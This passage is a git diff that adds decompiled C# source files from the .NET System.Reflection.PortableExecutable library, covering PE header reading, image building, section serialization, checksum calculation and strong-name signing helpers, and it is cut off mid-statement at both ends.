builder.WriteUInt32(0u); + builder.WriteUInt32((uint)value); + builder.WriteUInt32((uint)importAddressTableRva); + builder.WriteBytes(0, 20); + if (Is32Bit) + { + builder.WriteUInt32((uint)num2); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + } + else + { + builder.WriteUInt64((uint)num2); + builder.WriteUInt64(0uL); + } + builder.WriteUInt16(0); + string corEntryPointName = CorEntryPointName; + foreach (char c in corEntryPointName) + { + builder.WriteByte((byte)c); + } + builder.WriteByte(0); + } + + private static void WriteNameTable(BlobBuilder builder) + { + int count = builder.Count; + string text = "mscoree.dll"; + foreach (char c in text) + { + builder.WriteByte((byte)c); + } + builder.WriteByte(0); + builder.WriteUInt16(0); + } + + private void WriteCorHeader(BlobBuilder builder, int textSectionRva, int entryPointTokenOrRva, CorFlags corFlags) + { + int num = textSectionRva + ComputeOffsetToMetadata(); + int num2 = num + MetadataSize; + int num3 = num2 + ResourceDataSize; + int count = builder.Count; + builder.WriteUInt32(72u); + builder.WriteUInt16(2); + builder.WriteUInt16(5); + builder.WriteUInt32((uint)num); + builder.WriteUInt32((uint)MetadataSize); + builder.WriteUInt32((uint)corFlags); + builder.WriteUInt32((uint)entryPointTokenOrRva); + builder.WriteUInt32((ResourceDataSize != 0) ? ((uint)num2) : 0u); + builder.WriteUInt32((uint)ResourceDataSize); + builder.WriteUInt32((StrongNameSignatureSize != 0) ? ((uint)num3) : 0u); + builder.WriteUInt32((uint)StrongNameSignatureSize); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + } + + private void WriteRuntimeStartupStub(BlobBuilder sectionBuilder, int importAddressTableRva, ulong baseAddress) + { + if (Is32Bit) + { + sectionBuilder.Align(4); + sectionBuilder.WriteUInt16(0); + sectionBuilder.WriteByte(byte.MaxValue); + sectionBuilder.WriteByte(37); + sectionBuilder.WriteUInt32((uint)(importAddressTableRva + (int)baseAddress)); + } + else + { + sectionBuilder.Align(8); + sectionBuilder.WriteUInt32(0u); + sectionBuilder.WriteUInt16(0); + sectionBuilder.WriteByte(byte.MaxValue); + sectionBuilder.WriteByte(37); + sectionBuilder.WriteUInt64((ulong)importAddressTableRva + baseAddress); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEBinaryReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEBinaryReader.cs new file mode 100644 index 0000000..4e39bf6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEBinaryReader.cs @@ -0,0 +1,94 @@ +using System.IO; +using System.Text; + +namespace System.Reflection.PortableExecutable; + +internal readonly struct PEBinaryReader(Stream stream, int size) +{ + private readonly long _startOffset = stream.Position; + + private readonly long _maxOffset = _startOffset + size; + + private readonly BinaryReader _reader = new BinaryReader(stream, Encoding.UTF8, leaveOpen: true); + + public int CurrentOffset => (int)(_reader.BaseStream.Position - _startOffset); + + public void Seek(int offset) + { + CheckBounds(_startOffset, offset); + _reader.BaseStream.Seek(offset, SeekOrigin.Begin); + } + + public byte[] ReadBytes(int count) + { + CheckBounds(_reader.BaseStream.Position, count); + return _reader.ReadBytes(count); + } + + public byte ReadByte() + { + CheckBounds(1u); + return _reader.ReadByte(); + } + + public short ReadInt16() + { + CheckBounds(2u); + return _reader.ReadInt16(); + } + + public ushort ReadUInt16() + { + CheckBounds(2u); + return _reader.ReadUInt16(); + } + + public int ReadInt32() + { + CheckBounds(4u); + return _reader.ReadInt32(); + } + + public uint ReadUInt32() + { + CheckBounds(4u); + return _reader.ReadUInt32(); + } + + public ulong ReadUInt64() + { + CheckBounds(8u); + return _reader.ReadUInt64(); + } + + public string ReadNullPaddedUTF8(int byteCount) + { + byte[] array = ReadBytes(byteCount); + int count = 0; + for (int num = array.Length; num > 0; num--) + { + if (array[num - 1] != 0) + { + count = num; + break; + } + } + return Encoding.UTF8.GetString(array, 0, count); + } + + private void CheckBounds(uint count) + { + if ((ulong)(_reader.BaseStream.Position + count) > (ulong)_maxOffset) + { + Throw.ImageTooSmall(); + } + } + + private void CheckBounds(long startPosition, int count) + { + if ((ulong)(startPosition + (uint)count) > (ulong)_maxOffset) + { + Throw.ImageTooSmallOrContainsInvalidOffsetOrCount(); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEBuilder.cs new file mode 100644 index 0000000..4d0d47d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEBuilder.cs @@ -0,0 +1,466 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Internal; +using System.Reflection.Metadata; + +namespace System.Reflection.PortableExecutable; + +public abstract class PEBuilder +{ + protected readonly struct Section + { + public readonly string Name; + + public readonly SectionCharacteristics Characteristics; + + public Section(string name, SectionCharacteristics characteristics) + { + if (name == null) + { + Throw.ArgumentNull("name"); + } + Name = name; + Characteristics = characteristics; + } + } + + private readonly struct SerializedSection(BlobBuilder builder, string name, SectionCharacteristics characteristics, int relativeVirtualAddress, int sizeOfRawData, int pointerToRawData) + { + public readonly BlobBuilder Builder = builder; + + public readonly string Name = name; + + public readonly SectionCharacteristics Characteristics = characteristics; + + public readonly int RelativeVirtualAddress = relativeVirtualAddress; + + public readonly int SizeOfRawData = sizeOfRawData; + + public readonly int PointerToRawData = pointerToRawData; + + public int VirtualSize => Builder.Count; + } + + private readonly Lazy> _lazySections; + + private Blob _lazyChecksum; + + internal const int DosHeaderSize = 128; + + public PEHeaderBuilder Header { get; } + + public Func, BlobContentId> IdProvider { get; } + + public bool IsDeterministic { get; } + + private static ReadOnlySpan DosHeader => new byte[128] + { + 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, + 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, + 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, + 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, + 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, + 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, + 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, + 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, + 36, 0, 0, 0, 0, 0, 0, 0 + }; + + protected PEBuilder(PEHeaderBuilder header, Func, BlobContentId>? deterministicIdProvider) + { + if (header == null) + { + Throw.ArgumentNull("header"); + } + IdProvider = deterministicIdProvider ?? BlobContentId.GetTimeBasedProvider(); + IsDeterministic = deterministicIdProvider != null; + Header = header; + _lazySections = new Lazy>((Func>)CreateSections); + } + + protected ImmutableArray
GetSections() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray
value = _lazySections.Value; + if (value.IsDefault) + { + throw new InvalidOperationException(System.SR.Format(System.SR.MustNotReturnNull, "CreateSections")); + } + return value; + } + + protected abstract ImmutableArray
CreateSections(); + + protected abstract BlobBuilder SerializeSection(string name, SectionLocation location); + + protected internal abstract PEDirectoriesBuilder GetDirectories(); + + public BlobContentId Serialize(BlobBuilder builder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray val = SerializeSections(); + PEDirectoriesBuilder directories = GetDirectories(); + WritePESignature(builder); + WriteCoffHeader(builder, val, out var stampFixup); + WritePEHeader(builder, directories, val); + WriteSectionHeaders(builder, val); + builder.Align(Header.FileAlignment); + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + builder.LinkSuffix(enumerator.Current.Builder); + builder.Align(Header.FileAlignment); + } + BlobContentId result = IdProvider(builder.GetBlobs()); + new BlobWriter(stampFixup).WriteUInt32(result.Stamp); + return result; + } + + private ImmutableArray SerializeSections() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray
sections = GetSections(); + Builder val = ImmutableArray.CreateBuilder(sections.Length); + int position = Header.ComputeSizeOfPEHeaders(sections.Length); + int relativeVirtualAddress = BitArithmetic.Align(position, Header.SectionAlignment); + int pointerToRawData = BitArithmetic.Align(position, Header.FileAlignment); + Enumerator
enumerator = sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + Section current = enumerator.Current; + BlobBuilder blobBuilder = SerializeSection(current.Name, new SectionLocation(relativeVirtualAddress, pointerToRawData)); + SerializedSection serializedSection = new SerializedSection(blobBuilder, current.Name, current.Characteristics, relativeVirtualAddress, BitArithmetic.Align(blobBuilder.Count, Header.FileAlignment), pointerToRawData); + val.Add(serializedSection); + relativeVirtualAddress = BitArithmetic.Align(serializedSection.RelativeVirtualAddress + serializedSection.VirtualSize, Header.SectionAlignment); + pointerToRawData = serializedSection.PointerToRawData + serializedSection.SizeOfRawData; + } + return val.MoveToImmutable(); + } + + private unsafe static void WritePESignature(BlobBuilder builder) + { + ReadOnlySpan dosHeader = DosHeader; + fixed (byte* buffer = dosHeader) + { + builder.WriteBytes(buffer, dosHeader.Length); + } + builder.WriteUInt32(17744u); + } + + private void WriteCoffHeader(BlobBuilder builder, ImmutableArray sections, out Blob stampFixup) + { + builder.WriteUInt16((ushort)((Header.Machine == Machine.Unknown) ? Machine.I386 : Header.Machine)); + builder.WriteUInt16((ushort)sections.Length); + stampFixup = builder.ReserveBytes(4); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt16((ushort)PEHeader.Size(Header.Is32Bit)); + builder.WriteUInt16((ushort)Header.ImageCharacteristics); + } + + private void WritePEHeader(BlobBuilder builder, PEDirectoriesBuilder directories, ImmutableArray sections) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + builder.WriteUInt16((ushort)(Header.Is32Bit ? 267 : 523)); + builder.WriteByte(Header.MajorLinkerVersion); + builder.WriteByte(Header.MinorLinkerVersion); + builder.WriteUInt32((uint)SumRawDataSizes(sections, SectionCharacteristics.ContainsCode)); + builder.WriteUInt32((uint)SumRawDataSizes(sections, SectionCharacteristics.ContainsInitializedData)); + builder.WriteUInt32((uint)SumRawDataSizes(sections, SectionCharacteristics.ContainsUninitializedData)); + builder.WriteUInt32((uint)directories.AddressOfEntryPoint); + int num = IndexOfSection(sections, SectionCharacteristics.ContainsCode); + builder.WriteUInt32((num != -1) ? ((uint)sections[num].RelativeVirtualAddress) : 0u); + if (Header.Is32Bit) + { + int num2 = IndexOfSection(sections, SectionCharacteristics.ContainsInitializedData); + builder.WriteUInt32((num2 != -1) ? ((uint)sections[num2].RelativeVirtualAddress) : 0u); + builder.WriteUInt32((uint)Header.ImageBase); + } + else + { + builder.WriteUInt64(Header.ImageBase); + } + builder.WriteUInt32((uint)Header.SectionAlignment); + builder.WriteUInt32((uint)Header.FileAlignment); + builder.WriteUInt16(Header.MajorOperatingSystemVersion); + builder.WriteUInt16(Header.MinorOperatingSystemVersion); + builder.WriteUInt16(Header.MajorImageVersion); + builder.WriteUInt16(Header.MinorImageVersion); + builder.WriteUInt16(Header.MajorSubsystemVersion); + builder.WriteUInt16(Header.MinorSubsystemVersion); + builder.WriteUInt32(0u); + SerializedSection serializedSection = sections[sections.Length - 1]; + builder.WriteUInt32((uint)BitArithmetic.Align(serializedSection.RelativeVirtualAddress + serializedSection.VirtualSize, Header.SectionAlignment)); + builder.WriteUInt32((uint)BitArithmetic.Align(Header.ComputeSizeOfPEHeaders(sections.Length), Header.FileAlignment)); + _lazyChecksum = builder.ReserveBytes(4); + new BlobWriter(_lazyChecksum).WriteUInt32(0u); + builder.WriteUInt16((ushort)Header.Subsystem); + builder.WriteUInt16((ushort)Header.DllCharacteristics); + if (Header.Is32Bit) + { + builder.WriteUInt32((uint)Header.SizeOfStackReserve); + builder.WriteUInt32((uint)Header.SizeOfStackCommit); + builder.WriteUInt32((uint)Header.SizeOfHeapReserve); + builder.WriteUInt32((uint)Header.SizeOfHeapCommit); + } + else + { + builder.WriteUInt64(Header.SizeOfStackReserve); + builder.WriteUInt64(Header.SizeOfStackCommit); + builder.WriteUInt64(Header.SizeOfHeapReserve); + builder.WriteUInt64(Header.SizeOfHeapCommit); + } + builder.WriteUInt32(0u); + builder.WriteUInt32(16u); + builder.WriteUInt32((uint)directories.ExportTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.ExportTable.Size); + builder.WriteUInt32((uint)directories.ImportTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.ImportTable.Size); + builder.WriteUInt32((uint)directories.ResourceTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.ResourceTable.Size); + builder.WriteUInt32((uint)directories.ExceptionTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.ExceptionTable.Size); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt32((uint)directories.BaseRelocationTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.BaseRelocationTable.Size); + builder.WriteUInt32((uint)directories.DebugTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.DebugTable.Size); + builder.WriteUInt32((uint)directories.CopyrightTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.CopyrightTable.Size); + builder.WriteUInt32((uint)directories.GlobalPointerTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.GlobalPointerTable.Size); + builder.WriteUInt32((uint)directories.ThreadLocalStorageTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.ThreadLocalStorageTable.Size); + builder.WriteUInt32((uint)directories.LoadConfigTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.LoadConfigTable.Size); + builder.WriteUInt32((uint)directories.BoundImportTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.BoundImportTable.Size); + builder.WriteUInt32((uint)directories.ImportAddressTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.ImportAddressTable.Size); + builder.WriteUInt32((uint)directories.DelayImportTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.DelayImportTable.Size); + builder.WriteUInt32((uint)directories.CorHeaderTable.RelativeVirtualAddress); + builder.WriteUInt32((uint)directories.CorHeaderTable.Size); + builder.WriteUInt64(0uL); + } + + private static void WriteSectionHeaders(BlobBuilder builder, ImmutableArray serializedSections) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = serializedSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializedSection current = enumerator.Current; + WriteSectionHeader(builder, current); + } + } + + private static void WriteSectionHeader(BlobBuilder builder, SerializedSection serializedSection) + { + if (serializedSection.VirtualSize == 0) + { + return; + } + int i = 0; + int length = serializedSection.Name.Length; + for (; i < 8; i++) + { + if (i < length) + { + builder.WriteByte((byte)serializedSection.Name[i]); + } + else + { + builder.WriteByte(0); + } + } + builder.WriteUInt32((uint)serializedSection.VirtualSize); + builder.WriteUInt32((uint)serializedSection.RelativeVirtualAddress); + builder.WriteUInt32((uint)serializedSection.SizeOfRawData); + builder.WriteUInt32((uint)serializedSection.PointerToRawData); + builder.WriteUInt32(0u); + builder.WriteUInt32(0u); + builder.WriteUInt16(0); + builder.WriteUInt16(0); + builder.WriteUInt32((uint)serializedSection.Characteristics); + } + + private static int IndexOfSection(ImmutableArray sections, SectionCharacteristics characteristics) + { + for (int i = 0; i < sections.Length; i++) + { + if ((sections[i].Characteristics & characteristics) == characteristics) + { + return i; + } + } + return -1; + } + + private static int SumRawDataSizes(ImmutableArray sections, SectionCharacteristics characteristics) + { + int num = 0; + for (int i = 0; i < sections.Length; i++) + { + if ((sections[i].Characteristics & characteristics) == characteristics) + { + num += sections[i].SizeOfRawData; + } + } + return num; + } + + internal static IEnumerable GetContentToSign(BlobBuilder peImage, int peHeadersSize, int peHeaderAlignment, Blob strongNameSignatureFixup) + { + int remainingHeaderToSign = peHeadersSize; + int remainingHeader = BitArithmetic.Align(peHeadersSize, peHeaderAlignment); + foreach (Blob blob in peImage.GetBlobs()) + { + int blobStart = blob.Start; + int blobLength = blob.Length; + while (blobLength > 0) + { + if (remainingHeader > 0) + { + int length; + if (remainingHeaderToSign > 0) + { + length = Math.Min(remainingHeaderToSign, blobLength); + yield return new Blob(blob.Buffer, blobStart, length); + remainingHeaderToSign -= length; + } + else + { + length = Math.Min(remainingHeader, blobLength); + } + remainingHeader -= length; + blobStart += length; + blobLength -= length; + continue; + } + if (blob.Buffer == strongNameSignatureFixup.Buffer) + { + yield return GetPrefixBlob(new Blob(blob.Buffer, blobStart, blobLength), strongNameSignatureFixup); + yield return GetSuffixBlob(new Blob(blob.Buffer, blobStart, blobLength), strongNameSignatureFixup); + } + else + { + yield return new Blob(blob.Buffer, blobStart, blobLength); + } + break; + } + } + } + + internal static Blob GetPrefixBlob(Blob container, Blob blob) + { + return new Blob(container.Buffer, container.Start, blob.Start - container.Start); + } + + internal static Blob GetSuffixBlob(Blob container, Blob blob) + { + return new Blob(container.Buffer, blob.Start + blob.Length, container.Start + container.Length - blob.Start - blob.Length); + } + + internal static IEnumerable GetContentToChecksum(BlobBuilder peImage, Blob checksumFixup) + { + foreach (Blob blob in peImage.GetBlobs()) + { + if (blob.Buffer == checksumFixup.Buffer) + { + yield return GetPrefixBlob(blob, checksumFixup); + yield return GetSuffixBlob(blob, checksumFixup); + } + else + { + yield return blob; + } + } + } + + internal void Sign(BlobBuilder peImage, Blob strongNameSignatureFixup, Func, byte[]> signatureProvider) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + int peHeadersSize = Header.ComputeSizeOfPEHeaders(GetSections().Length); + byte[] array = signatureProvider(GetContentToSign(peImage, peHeadersSize, Header.FileAlignment, strongNameSignatureFixup)); + if (array == null || array.Length > strongNameSignatureFixup.Length) + { + throw new InvalidOperationException(System.SR.SignatureProviderReturnedInvalidSignature); + } + new BlobWriter(strongNameSignatureFixup).WriteBytes(array); + uint value = CalculateChecksum(peImage, _lazyChecksum); + new BlobWriter(_lazyChecksum).WriteUInt32(value); + } + + internal static uint CalculateChecksum(BlobBuilder peImage, Blob checksumFixup) + { + return CalculateChecksum(GetContentToChecksum(peImage, checksumFixup)) + (uint)peImage.Count; + } + + private unsafe static uint CalculateChecksum(IEnumerable blobs) + { + uint num = 0u; + int num2 = -1; + foreach (Blob blob in blobs) + { + ArraySegment bytes = blob.GetBytes(); + fixed (byte* array = bytes.Array) + { + byte* ptr = array + bytes.Offset; + byte* ptr2 = ptr + bytes.Count; + if (num2 >= 0) + { + num = AggregateChecksum(num, (ushort)((*ptr << 8) | num2)); + ptr++; + } + if ((ptr2 - ptr) % 2 != 0L) + { + ptr2--; + num2 = *ptr2; + } + else + { + num2 = -1; + } + for (; ptr < ptr2; ptr += 2) + { + num = AggregateChecksum(num, (ushort)((ptr[1] << 8) | *ptr)); + } + } + } + if (num2 >= 0) + { + num = AggregateChecksum(num, (ushort)num2); + } + return num; + } + + private static uint AggregateChecksum(uint checksum, ushort value) + { + uint num = checksum + value; + return (num >> 16) + (ushort)num; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEDirectoriesBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEDirectoriesBuilder.cs new file mode 100644 index 0000000..6c9b1c3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEDirectoriesBuilder.cs @@ -0,0 +1,34 @@ +namespace System.Reflection.PortableExecutable; + +public sealed class PEDirectoriesBuilder +{ + public int AddressOfEntryPoint { get; set; } + + public DirectoryEntry ExportTable { get; set; } + + public DirectoryEntry ImportTable { get; set; } + + public DirectoryEntry ResourceTable { get; set; } + + public DirectoryEntry ExceptionTable { get; set; } + + public DirectoryEntry BaseRelocationTable { get; set; } + + public DirectoryEntry DebugTable { get; set; } + + public DirectoryEntry CopyrightTable { get; set; } + + public DirectoryEntry GlobalPointerTable { get; set; } + + public DirectoryEntry ThreadLocalStorageTable { get; set; } + + public DirectoryEntry LoadConfigTable { get; set; } + + public DirectoryEntry BoundImportTable { get; set; } + + public DirectoryEntry ImportAddressTable { get; set; } + + public DirectoryEntry DelayImportTable { get; set; } + + public DirectoryEntry CorHeaderTable { get; set; } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeader.cs new file mode 100644 index 0000000..03c4e77 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeader.cs @@ -0,0 +1,176 @@ +namespace System.Reflection.PortableExecutable; + +public sealed class PEHeader +{ + internal const int OffsetOfChecksum = 64; + + public PEMagic Magic { get; } + + public byte MajorLinkerVersion { get; } + + public byte MinorLinkerVersion { get; } + + public int SizeOfCode { get; } + + public int SizeOfInitializedData { get; } + + public int SizeOfUninitializedData { get; } + + public int AddressOfEntryPoint { get; } + + public int BaseOfCode { get; } + + public int BaseOfData { get; } + + public ulong ImageBase { get; } + + public int SectionAlignment { get; } + + public int FileAlignment { get; } + + public ushort MajorOperatingSystemVersion { get; } + + public ushort MinorOperatingSystemVersion { get; } + + public ushort MajorImageVersion { get; } + + public ushort MinorImageVersion { get; } + + public ushort MajorSubsystemVersion { get; } + + public ushort MinorSubsystemVersion { get; } + + public int SizeOfImage { get; } + + public int SizeOfHeaders { get; } + + public uint CheckSum { get; } + + public Subsystem Subsystem { get; } + + public DllCharacteristics DllCharacteristics { get; } + + public ulong SizeOfStackReserve { get; } + + public ulong SizeOfStackCommit { get; } + + public ulong SizeOfHeapReserve { get; } + + public ulong SizeOfHeapCommit { get; } + + public int NumberOfRvaAndSizes { get; } + + public DirectoryEntry ExportTableDirectory { get; } + + public DirectoryEntry ImportTableDirectory { get; } + + public DirectoryEntry ResourceTableDirectory { get; } + + public DirectoryEntry ExceptionTableDirectory { get; } + + public DirectoryEntry CertificateTableDirectory { get; } + + public DirectoryEntry BaseRelocationTableDirectory { get; } + + public DirectoryEntry DebugTableDirectory { get; } + + public DirectoryEntry CopyrightTableDirectory { get; } + + public DirectoryEntry GlobalPointerTableDirectory { get; } + + public DirectoryEntry ThreadLocalStorageTableDirectory { get; } + + public DirectoryEntry LoadConfigTableDirectory { get; } + + public DirectoryEntry BoundImportTableDirectory { get; } + + public DirectoryEntry ImportAddressTableDirectory { get; } + + public DirectoryEntry DelayImportTableDirectory { get; } + + public DirectoryEntry CorHeaderTableDirectory { get; } + + internal static int Size(bool is32Bit) + { + return 72 + 4 * (is32Bit ? 4 : 8) + 4 + 4 + 128; + } + + internal PEHeader(ref PEBinaryReader reader) + { + PEMagic pEMagic = (PEMagic)reader.ReadUInt16(); + if (pEMagic != PEMagic.PE32 && pEMagic != PEMagic.PE32Plus) + { + throw new BadImageFormatException(System.SR.UnknownPEMagicValue); + } + Magic = pEMagic; + MajorLinkerVersion = reader.ReadByte(); + MinorLinkerVersion = reader.ReadByte(); + SizeOfCode = reader.ReadInt32(); + SizeOfInitializedData = reader.ReadInt32(); + SizeOfUninitializedData = reader.ReadInt32(); + AddressOfEntryPoint = reader.ReadInt32(); + BaseOfCode = reader.ReadInt32(); + if (pEMagic == PEMagic.PE32Plus) + { + BaseOfData = 0; + } + else + { + BaseOfData = reader.ReadInt32(); + } + if (pEMagic == PEMagic.PE32Plus) + { + ImageBase = reader.ReadUInt64(); + } + else + { + ImageBase = reader.ReadUInt32(); + } + SectionAlignment = reader.ReadInt32(); + FileAlignment = reader.ReadInt32(); + MajorOperatingSystemVersion = reader.ReadUInt16(); + MinorOperatingSystemVersion = reader.ReadUInt16(); + MajorImageVersion = reader.ReadUInt16(); + MinorImageVersion = reader.ReadUInt16(); + MajorSubsystemVersion = reader.ReadUInt16(); + MinorSubsystemVersion = reader.ReadUInt16(); + reader.ReadUInt32(); + SizeOfImage = reader.ReadInt32(); + SizeOfHeaders = reader.ReadInt32(); + CheckSum = reader.ReadUInt32(); + Subsystem = (Subsystem)reader.ReadUInt16(); + DllCharacteristics = (DllCharacteristics)reader.ReadUInt16(); + if (pEMagic == PEMagic.PE32Plus) + { + SizeOfStackReserve = reader.ReadUInt64(); + SizeOfStackCommit = reader.ReadUInt64(); + SizeOfHeapReserve = reader.ReadUInt64(); + SizeOfHeapCommit = reader.ReadUInt64(); + } + else + { + SizeOfStackReserve = reader.ReadUInt32(); + SizeOfStackCommit = reader.ReadUInt32(); + SizeOfHeapReserve = reader.ReadUInt32(); + SizeOfHeapCommit = reader.ReadUInt32(); + } + reader.ReadUInt32(); + NumberOfRvaAndSizes = reader.ReadInt32(); + ExportTableDirectory = new DirectoryEntry(ref reader); + ImportTableDirectory = new DirectoryEntry(ref reader); + ResourceTableDirectory = new DirectoryEntry(ref reader); + ExceptionTableDirectory = new DirectoryEntry(ref reader); + CertificateTableDirectory = new DirectoryEntry(ref reader); + BaseRelocationTableDirectory = new DirectoryEntry(ref reader); + DebugTableDirectory = new DirectoryEntry(ref reader); + CopyrightTableDirectory = new DirectoryEntry(ref reader); + GlobalPointerTableDirectory = new DirectoryEntry(ref reader); + ThreadLocalStorageTableDirectory = new DirectoryEntry(ref reader); + LoadConfigTableDirectory = new DirectoryEntry(ref reader); + BoundImportTableDirectory = new DirectoryEntry(ref reader); + ImportAddressTableDirectory = new DirectoryEntry(ref reader); + DelayImportTableDirectory = new DirectoryEntry(ref reader); + CorHeaderTableDirectory = new DirectoryEntry(ref reader); + new DirectoryEntry(ref reader); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeaderBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeaderBuilder.cs new file mode 100644 index 0000000..d576ddd --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeaderBuilder.cs @@ -0,0 +1,102 @@ +using System.Reflection.Internal; + +namespace System.Reflection.PortableExecutable; + +public sealed class PEHeaderBuilder +{ + public Machine Machine { get; } + + public Characteristics ImageCharacteristics { get; } + + public byte MajorLinkerVersion { get; } + + public byte MinorLinkerVersion { get; } + + public ulong ImageBase { get; } + + public int SectionAlignment { get; } + + public int FileAlignment { get; } + + public ushort MajorOperatingSystemVersion { get; } + + public ushort MinorOperatingSystemVersion { get; } + + public ushort MajorImageVersion { get; } + + public ushort MinorImageVersion { get; } + + public ushort MajorSubsystemVersion { get; } + + public ushort MinorSubsystemVersion { get; } + + public Subsystem Subsystem { get; } + + public DllCharacteristics DllCharacteristics { get; } + + public ulong SizeOfStackReserve { get; } + + public ulong SizeOfStackCommit { get; } + + public ulong SizeOfHeapReserve { get; } + + public ulong SizeOfHeapCommit { get; } + + internal bool Is32Bit + { + get + { + if (Machine != Machine.Amd64 && Machine != Machine.IA64) + { + return Machine != Machine.Arm64; + } + return false; + } + } + + public PEHeaderBuilder(Machine machine = Machine.Unknown, int sectionAlignment = 8192, int fileAlignment = 512, ulong imageBase = 4194304uL, byte majorLinkerVersion = 48, byte minorLinkerVersion = 0, ushort majorOperatingSystemVersion = 4, ushort minorOperatingSystemVersion = 0, ushort majorImageVersion = 0, ushort minorImageVersion = 0, ushort majorSubsystemVersion = 4, ushort minorSubsystemVersion = 0, Subsystem subsystem = Subsystem.WindowsCui, DllCharacteristics dllCharacteristics = DllCharacteristics.DynamicBase | DllCharacteristics.NxCompatible | DllCharacteristics.NoSeh | DllCharacteristics.TerminalServerAware, Characteristics imageCharacteristics = Characteristics.Dll, ulong sizeOfStackReserve = 1048576uL, ulong sizeOfStackCommit = 4096uL, ulong sizeOfHeapReserve = 1048576uL, ulong sizeOfHeapCommit = 4096uL) + { + if (fileAlignment < 512 || fileAlignment > 65536 || BitArithmetic.CountBits(fileAlignment) != 1) + { + Throw.ArgumentOutOfRange("fileAlignment"); + } + if (sectionAlignment < fileAlignment || BitArithmetic.CountBits(sectionAlignment) != 1) + { + Throw.ArgumentOutOfRange("sectionAlignment"); + } + Machine = machine; + SectionAlignment = sectionAlignment; + FileAlignment = fileAlignment; + ImageBase = imageBase; + MajorLinkerVersion = majorLinkerVersion; + MinorLinkerVersion = minorLinkerVersion; + MajorOperatingSystemVersion = majorOperatingSystemVersion; + MinorOperatingSystemVersion = minorOperatingSystemVersion; + MajorImageVersion = majorImageVersion; + MinorImageVersion = minorImageVersion; + MajorSubsystemVersion = majorSubsystemVersion; + MinorSubsystemVersion = 